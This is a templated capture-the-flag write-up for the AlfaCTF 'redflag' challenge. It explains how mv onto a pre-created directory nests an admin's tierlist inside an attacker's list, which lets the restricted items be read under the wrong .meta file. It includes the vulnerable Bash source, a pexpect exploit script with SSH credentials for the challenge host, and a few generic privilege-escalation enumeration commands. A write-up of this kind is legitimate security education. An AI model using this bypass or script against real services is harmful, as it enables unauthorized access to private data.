Ред-флаг - redflag
Ред-флаг - redflag
Platform: Alfactf | Category: Misc | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-25 | Status: Solved Techniques: destination_collision_abuse, metadata_confusion, nested_directory_disclosure, recursive_listing_abuse
Summary
Task: an SSH Bash/whiptail tierlist service stored each list as a directory and enforced restrictions through root metadata. Solution: pre-create the join destination, abuse mv's existing-directory behavior to nest the admin list inside an attacker list, then read recursively exposed items checked against the wrong .meta file.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
alfactf| ID:20260425_alfactf_redflag - Tags: bash, access_control_bypass, shell_service, whiptail, file_move, metadata_confusion, directory_nesting
- Indicators: mv src existing_dir moves the source inside the destination instead of renaming it, find "$tl_dir" -type d -name 'tier_*' recursively enumerates nested tiers, authorization decisions use top-level .meta even when item files come from nested directories
- Source:
20260425_alfactf_redflag.md
Foothold
Vulnerability / Misconfiguration
- Destination_collision_abuse
- Metadata_confusion
- Nested_directory_disclosure
- Recursive_listing_abuse
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- destination_collision_abuse
- metadata_confusion
- nested_directory_disclosure
- recursive_listing_abuse
- Tags: bash, access_control_bypass, shell_service, whiptail, file_move, metadata_confusion, directory_nesting
Original Writeup
<details><summary>Click to expand original content</summary>Description
Ред-флаг
English summary: the challenge provides SSH access to a Bash + whiptail tierlist manager. Tierlists live as directories under /data/tierlists, source is available at https://alfactf.ru/files/redflag.sh, and the goal is to recover a flag hidden in the admin's private list.
Analysis
The bug is a directory move / authorization mismatch.
Each tierlist is a directory with a root .meta file. Restricted items are listed there by filename, and read access is derived from that root metadata only:
is_restricted() {
local restricted
restricted=$(meta_get "$1" "restricted") || return 1
[[ -z "$restricted" ]] && return 1
local IFS=','
for r in $restricted; do
[[ "$r" == "$2" ]] && return 0
done
return 1
}
can_read_file() {
if is_restricted "$1" "$2"; then
is_owner "$1"
else
return 0
fi
}
When viewing a tierlist, the UI recursively walks all nested tier_* directories:
while IFS= read -r -d '' td; do
tier_dirs+=("$td")
done < <(find "$tl_dir" -type d -name 'tier_*' -print0 2>/dev/null | sort -z)
The important detail is that later checks still use the original top-level tl_dir rather than the real parent of the nested file:
if ! can_read_file "$tl_dir" "$item_fname"; then
msg "[LOCKED] $item_name\n\nДоступ ограничен владельцем тир-листа."
return
fi
So if a foreign tierlist can be placed under our own root, every nested item is evaluated against our .meta, not the victim tierlist's .meta.
The join operation is what makes that possible:
join_tierlist_by_name() {
local tl_name="$1"
local new_name="${tl_name}__with__${CURRENT_USER}"
mv "$TIERLISTS_DIR/$tl_name" "$TIERLISTS_DIR/$new_name"
...
}
This assumes mv will always rename the directory. That is false: if $TIERLISTS_DIR/$new_name already exists and is a directory, mv places the source tierlist inside it.
So if we first create our own tierlist named:
gorpcore_redflags__with__rfbkqsl
and then join the public/admin tierlist gorpcore_redflags, the service executes:
mv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__rfbkqsl
Result:
/data/tierlists/gorpcore_redflags__with__rfbkqsl/ # attacker-owned root
└── gorpcore_redflags/ # moved victim tierlist
└── tier_d/
└── ...
Now view_tierlist recursively discovers the nested tier_* directories from the moved victim list, but access checks still use the outer attacker-owned root .meta. That bypasses the victim's restrictions and exposes private previews and item contents.
Solution
- Log in with a fresh username. I used
rfbkqsl. - Create a tierlist named
gorpcore_redflags__with__rfbkqslso it collides with the destination name the service will later build. - Open the public tierlists and join admin's
gorpcore_redflags. - The service runs
mv /data/tierlists/gorpcore_redflags /data/tierlists/gorpcore_redflags__with__rfbkqsl. - Because the destination already exists, the admin tierlist is moved inside the attacker-controlled directory.
- Reopen the attacker-owned list. Recursive
findnow discovers nested tiers from the moved admin list. - Because reads are authorized against the outer
.meta, restricted admin items are displayed anyway. - In the
Dtier, the preview showsflag: alfa{REDACTED}.
Minimal exploit script:
#!/usr/bin/env python3
import random
import string
import time
import pexpect
CMD = (
"sshpass -p 'Q4gwbpZx1HywxSWfCLWqSQ' "
"ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -tt "
"redflag@redflag-h306xs1x.alfactf.ru"
)
user = "rf" + "".join(random.choice(string.ascii_lowercase) for _ in range(5))
collision = f"gorpcore_redflags__with__{user}"
child = pexpect.spawn("/bin/sh", ["-c", CMD], encoding=None, timeout=30)
child.setwinsize(40, 120)
time.sleep(1)
child.send(user.encode() + b"\r")
# Main menu -> create tierlist
time.sleep(1)
child.send(b"\x1b[B\x1b[B\r")
time.sleep(1)
child.send(collision.encode() + b"\r")
# Back to main menu -> public tierlists -> join selected admin tierlist
time.sleep(1)
child.send(b"\r")
time.sleep(1)
child.send(b"\r")
time.sleep(1)
child.send(b"\x1b[B\r")
time.sleep(1)
child.send(b"\r")
# Browse the nested tiers; the D-tier preview reveals the flag.
time.sleep(3)
print(child.read().decode("utf-8", errors="ignore"))
Recovered flag:
alfa{REDACTED}
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR